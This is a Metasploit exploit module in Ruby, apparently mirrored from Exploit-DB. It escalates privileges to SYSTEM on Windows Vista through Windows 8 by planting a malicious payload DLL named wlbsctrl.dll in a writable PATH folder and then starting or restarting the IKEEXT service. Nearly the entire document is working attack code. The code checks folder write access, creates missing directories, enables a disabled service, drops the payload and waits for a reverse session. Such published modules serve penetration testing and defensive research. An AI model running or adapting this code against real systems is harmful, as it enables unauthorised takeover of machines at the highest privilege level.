IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) – Missing DLL (Metasploit)

  • 作者: Metasploit
    日期: 2013-09-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/28130/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##
    
    require 'msf/core'
    require 'msf/core/post/common'
    require 'msf/core/post/windows/services'
    require 'msf/core/post/windows/priv'
    
    class Metasploit3 < Msf::Exploit::Local
    Rank = GoodRanking
    
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    include Msf::Post::File
    include Msf::Post::Windows::Priv
    include Msf::Post::Windows::Services
    include Msf::Post::Windows::Accounts
    
    def initialize(info={})
    super( update_info( info,
    'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL',
    'Description' => %q{
    This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules'
    (IKEEXT) service which runs as SYSTEM, and starts automatically in default
    installations of Vista-Win8.
    It requires an insecure bin path to plant the DLL payload.
    },
    'References' =>
    [
    ['URL', 'https://www.htbridge.com/advisory/HTB23108'],
    ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html']
    ],
    'DisclosureDate' => "Oct 09 2012",
    'License' => MSF_LICENSE,
    'Author' =>
    [
    'Ben Campbell <eat_meatballs@hotmail.co.uk>'
    ],
    'Platform' => [ 'win'],
    'Targets' =>
    [
    [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
    [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
    ],
    'SessionTypes' => [ "meterpreter" ],
    'DefaultOptions' =>
    {
    'EXITFUNC' => 'thread',
    'WfsDelay' => 5,
    'ReverseConnectRetries' => 255
    },
    'DefaultTarget'=> 0
    ))
    
    register_options([
    OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""])
    ])
    @service_name = 'IKEEXT'
    @load_lib_search_path = ['%SystemRoot%\\System32',
    '%SystemRoot%\\System',
    '%SystemRoot%'
    ]
    @non_existant_dirs = []
    end
    
    def check_service_exists?(service)
    srv_info = service_info(service)
    
    if srv_info.nil?
    print_warning("Unable to enumerate services.")
    return false
    end
    
    if srv_info && srv_info['Name'].empty?
    print_warning("Service #{service} does not exist.")
    return false
    else
    return true
    end
    end
    
    def check
    srv_info = service_info(@service_name)
    
    if !check_service_exists?(@service_name)
    return Exploit::CheckCode::Safe
    end
    
    vprint_status(srv_info.to_s)
    
    case srv_info['Startup']
    when 'Disabled'
    print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
    return Exploit::CheckCode::Safe
    when 'Manual'
    print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
    return Exploit::CheckCode::Safe
    when 'Auto'
    print_good("Service is set to Automatically start...")
    end
    
    if check_search_path
    return Exploit::CheckCode::Safe
    end
    
    return Exploit::CheckCode::Vulnerable
    end
    
    def check_search_path
    dll = 'wlbsctrl.dll'
    
    @load_lib_search_path.each do |path|
    dll_path = "#{expand_path(path)}\\#{dll}"
    
    if file_exist?(dll_path)
    print_warning("DLL already exists at #{dll_path}...")
    return true
    end
    end
    
    return false
    end
    
    def check_system_path
    print_status("Checking %PATH% folders for write access...")
    result= registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path')
    
    if result.nil?
    print_error("Unable to retrieve %PATH% from registry.")
    return
    end
    
    paths = result.split(';')
    paths.append(@load_lib_search_path).flatten!.uniq!
    
    paths.each do |p|
    path = expand_path(p)
    if exist?(path)
    if check_write_access(path)
    return path
    end
    else
    # User may be able to create the path...
    print_status("Path #{path} does not exist...")
    @non_existant_dirs << path
    end
    end
    
    return nil
    end
    
    def check_write_access(path)
    perm = check_dir_perms(path, @token)
    if perm and perm.include?('W')
    print_good ("Write permissions in #{path} - #{perm}")
    return true
    elsif perm
    vprint_status ("Permissions for #{path} - #{perm}")
    else
    vprint_status ("No permissions for #{path}")
    end
    
    return false
    end
    
    def check_dirs
    print_status("Attempting to create a non-existant PATH dir to use.")
    @non_existant_dirs.each do |dir|
    begin
    client.fs.dir.mkdir(dir)
    if exist?(dir)
    register_file_for_cleanup(dir)
    return dir
    end
    rescueRex::Post::Meterpreter::RequestError => e
    vprint_status("Unable to create dir: #{dir} - #{e}")
    end
    end
    
    return nil
    end
    
    def check_session_arch
    if sysinfo['Architecture'] =~ /x64/i
    if payload_instance.arch.first == 'x86'
    fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture")
    end
    else
    if payload_instance.arch.first =~ /64/i
    fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture")
    end
    end
    end
    
    def exploit
    check_session_arch
    
    begin
    @token = get_imperstoken
    rescue Rex::Post::Meterpreter::RequestError
    vprint_error("Error while using get_imperstoken: #{e}")
    end
    
    fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token
    
    if is_system?
    fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.")
    end
    
    print_status("Checking service exists...")
    if !check_service_exists?(@service_name)
    fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.")
    end
    
    if is_uac_enabled?
    print_warning("UAC is enabled, may get false negatives on writable folders.")
    end
    
    if datastore['DIR'].empty?
    # If DLL already exists in system folders, we dont want to overwrite by accident
    if check_search_path
    fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.")
    end
    
    file_path = check_system_path
    file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs
    
    if file_path.nil?
    fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...")
    end
    else
    # Use manually selected Dir
    file_path = datastore['DIR']
    end
    
    @dll_file_path = "#{file_path}\\wlbsctrl.dll"
    
    service_information = service_info(@service_name)
    
    if service_information['Startup'] == 'Disabled'
    print_status("Service is disabled, attempting to enable...")
    service_change_startup(@service_name, 'auto')
    service_information = service_info(@service_name)
    
    # Still disabled
    if service_information['Startup'] == 'Disabled'
    fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...")
    end
    end
    
    # Check architecture
    dll = generate_payload_dll
    
    #
    # Drop the malicious executable into the path
    #
    print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...")
    begin
    write_file(@dll_file_path, dll)
    register_file_for_cleanup(@dll_file_path)
    rescue Rex::Post::Meterpreter::RequestError => e
    # Can't write the file, can't go on
    fail_with(Exploit::Failure::Unknown, e.message)
    end
    
    #
    # Run the service, let the Windows API do the rest
    #
    print_status("Launching service #{@service_name}...")
    
    begin
    status = service_start(@service_name)
    if status == 1
    print_status("Service already running, attempting to restart...")
    if service_stop(@service_name) == 0
    print_status("Service stopped, attempting to start...")
    if service_start(@service_name) == 0
    print_status("Service started...")
    else
    fail_with(Exploit::Failure::Unknown, "Unable to start service.")
    end
    else
    fail_with(Exploit::Failure::Unknown, "Unable to stop service")
    end
    elsif status == 0
    print_status("Service started...")
    end
    rescue RuntimeError => e
    raise e if e.kind_of? Msf::Exploit::Failed
    if service_information['Startup'] == 'Manual'
    fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
    else
    if job_id
    print_status("Unable to start service, handler running waiting for a reboot...")
    while(true)
    break if session_created?
    select(nil,nil,nil,1)
    end
    else
    fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
    end
    end
    end
    end
    
    end